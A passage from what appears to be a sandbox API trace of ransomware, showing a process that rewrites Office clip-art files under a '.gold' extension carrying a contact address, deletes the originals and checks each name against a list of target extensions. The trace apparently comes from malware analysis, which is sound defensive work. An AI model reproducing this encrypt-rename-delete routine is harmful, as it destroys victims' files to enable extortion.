dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.354] GetLastError () returned 0x0 [0105.354] ReadFile (in: hFile=0x230, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2b04, lpOverlapped=0x0) returned 1 [0105.473] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2b10, lpOverlapped=0x0) returned 1 [0105.473] ReadFile (in: hFile=0x230, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.473] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.473] SetEndOfFile (hFile=0x3c4) returned 1 [0105.474] CloseHandle (hObject=0x3c4) returned 1 [0105.474] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.474] SetEndOfFile (hFile=0x230) returned 1 [0105.476] CloseHandle (hObject=0x230) returned 1 [0105.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0105.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.588] lstrlenW (lpString=".doc") returned 4 [0105.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.588] lstrlenW (lpString=".docx") returned 5 [0105.588] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.588] lstrlenW (lpString=".pdf") returned 4 [0105.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.588] lstrlenW (lpString=".xls") returned 4 [0105.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.588] lstrlenW (lpString=".xlsx") returned 5 [0105.588] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.588] lstrlenW (lpString=".ppt") returned 4 [0105.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.588] lstrlenW (lpString=".zip") returned 4 [0105.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.588] lstrlenW (lpString=".rar") returned 4 [0105.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString=".bz2") returned 4 [0105.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString=".7z") returned 3 [0105.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".dbf") returned 4 [0105.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".1cd") returned 4 [0105.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".jpg") returned 4 [0105.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".doc") returned 4 [0105.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString=".docx") returned 5 [0105.589] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.589] lstrlenW (lpString=".pdf") returned 4 [0105.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString=".xls") returned 4 [0105.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.589] lstrlenW (lpString=".xlsx") returned 5 [0105.589] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.589] lstrlenW (lpString=".ppt") returned 4 [0105.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".zip") returned 4 [0105.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.589] lstrlenW (lpString=".rar") returned 4 [0105.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString=".bz2") returned 4 [0105.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString=".7z") returned 3 [0105.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".dbf") returned 4 [0105.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".1cd") returned 4 [0105.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0105.589] lstrlenW (lpString=".jpg") returned 4 [0105.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.589] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.589] lstrlenW (lpString="J0105412.WMF") returned 12 [0105.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.591] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=9400) returned 1 [0105.591] CloseHandle (hObject=0x198) returned 1 [0105.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20 [0105.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.591] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.591] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.592] GetLastError () returned 0x0 [0105.592] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x24b8, lpOverlapped=0x0) returned 1 [0105.613] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x24c0, lpOverlapped=0x0) returned 1 [0105.614] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.614] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.614] SetEndOfFile (hFile=0x3c8) returned 1 [0105.614] CloseHandle (hObject=0x3c8) returned 1 [0105.614] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.614] SetEndOfFile (hFile=0x198) returned 1 [0105.616] CloseHandle (hObject=0x198) returned 1 [0105.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0105.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.617] lstrlenW (lpString=".doc") returned 4 [0105.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.617] lstrlenW (lpString=".docx") returned 5 [0105.617] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0105.617] lstrlenW (lpString=".pdf") returned 4 [0105.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.617] lstrlenW (lpString=".xls") returned 4 [0105.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.617] lstrlenW (lpString=".xlsx") returned 5 [0105.617] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0105.617] lstrlenW (lpString=".ppt") returned 4 [0105.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.617] lstrlenW (lpString=".zip") returned 4 [0105.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.617] lstrlenW (lpString=".rar") returned 4 [0105.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.617] lstrlenW (lpString=".bz2") returned 4 [0105.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.617] lstrlenW (lpString=".7z") returned 3 [0105.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.617] lstrlenW (lpString=".dbf") returned 4 [0105.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString=".1cd") returned 4 [0105.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString=".jpg") returned 4 [0105.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString=".doc") returned 4 [0105.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString=".docx") returned 5 [0105.618] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0105.618] lstrlenW (lpString=".pdf") returned 4 [0105.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString=".xls") returned 4 [0105.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.618] lstrlenW (lpString=".xlsx") returned 5 [0105.618] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0105.618] lstrlenW (lpString=".ppt") returned 4 [0105.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString=".zip") returned 4 [0105.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.618] lstrlenW (lpString=".rar") returned 4 [0105.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString=".bz2") returned 4 [0105.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString=".7z") returned 3 [0105.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString=".dbf") returned 4 [0105.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString=".1cd") returned 4 [0105.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0105.618] lstrlenW (lpString=".jpg") returned 4 [0105.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.618] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.618] lstrlenW (lpString="J0105496.WMF") returned 12 [0105.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.619] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5156) returned 1 [0105.619] CloseHandle (hObject=0x198) returned 1 [0105.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20 [0105.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.619] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.619] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.620] GetLastError () returned 0x0 [0105.620] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1424, lpOverlapped=0x0) returned 1 [0105.640] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1430, lpOverlapped=0x0) returned 1 [0105.641] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.641] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.641] SetEndOfFile (hFile=0x3c8) returned 1 [0105.641] CloseHandle (hObject=0x3c8) returned 1 [0105.641] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.641] SetEndOfFile (hFile=0x198) returned 1 [0105.643] CloseHandle (hObject=0x198) returned 1 [0105.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0105.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.762] lstrlenW (lpString=".doc") returned 4 [0105.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.762] lstrlenW (lpString=".docx") returned 5 [0105.762] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.762] lstrlenW (lpString=".pdf") returned 4 [0105.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.762] lstrlenW (lpString=".xls") returned 4 [0105.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.762] lstrlenW (lpString=".xlsx") returned 5 [0105.762] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.762] lstrlenW (lpString=".ppt") returned 4 [0105.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.763] lstrlenW (lpString=".zip") returned 4 [0105.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.763] lstrlenW (lpString=".rar") returned 4 [0105.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.774] lstrlenW (lpString=".bz2") returned 4 [0105.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.774] lstrlenW (lpString=".7z") returned 3 [0105.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.774] lstrlenW (lpString=".dbf") returned 4 [0105.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.774] lstrlenW (lpString=".1cd") returned 4 [0105.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.774] lstrlenW (lpString=".jpg") returned 4 [0105.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.774] lstrlenW (lpString=".doc") returned 4 [0105.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.774] lstrlenW (lpString=".docx") returned 5 [0105.774] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.774] lstrlenW (lpString=".pdf") returned 4 [0105.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.774] lstrlenW (lpString=".xls") returned 4 [0105.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.774] lstrlenW (lpString=".xlsx") returned 5 [0105.775] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.775] lstrlenW (lpString=".ppt") returned 4 [0105.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.775] lstrlenW (lpString=".zip") returned 4 [0105.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.775] lstrlenW (lpString=".rar") returned 4 [0105.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.775] lstrlenW (lpString=".bz2") returned 4 [0105.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.775] lstrlenW (lpString=".7z") returned 3 [0105.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.775] lstrlenW (lpString=".dbf") returned 4 [0105.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.775] lstrlenW (lpString=".1cd") returned 4 [0105.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0105.775] lstrlenW (lpString=".jpg") returned 4 [0105.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.775] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.775] lstrlenW (lpString="J0105526.WMF") returned 12 [0105.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.776] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=17332) returned 1 [0105.776] CloseHandle (hObject=0x3b0) returned 1 [0105.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20 [0105.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.776] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.776] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.777] GetLastError () returned 0x0 [0105.777] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x43b4, lpOverlapped=0x0) returned 1 [0105.786] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x43c0, lpOverlapped=0x0) returned 1 [0105.787] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | 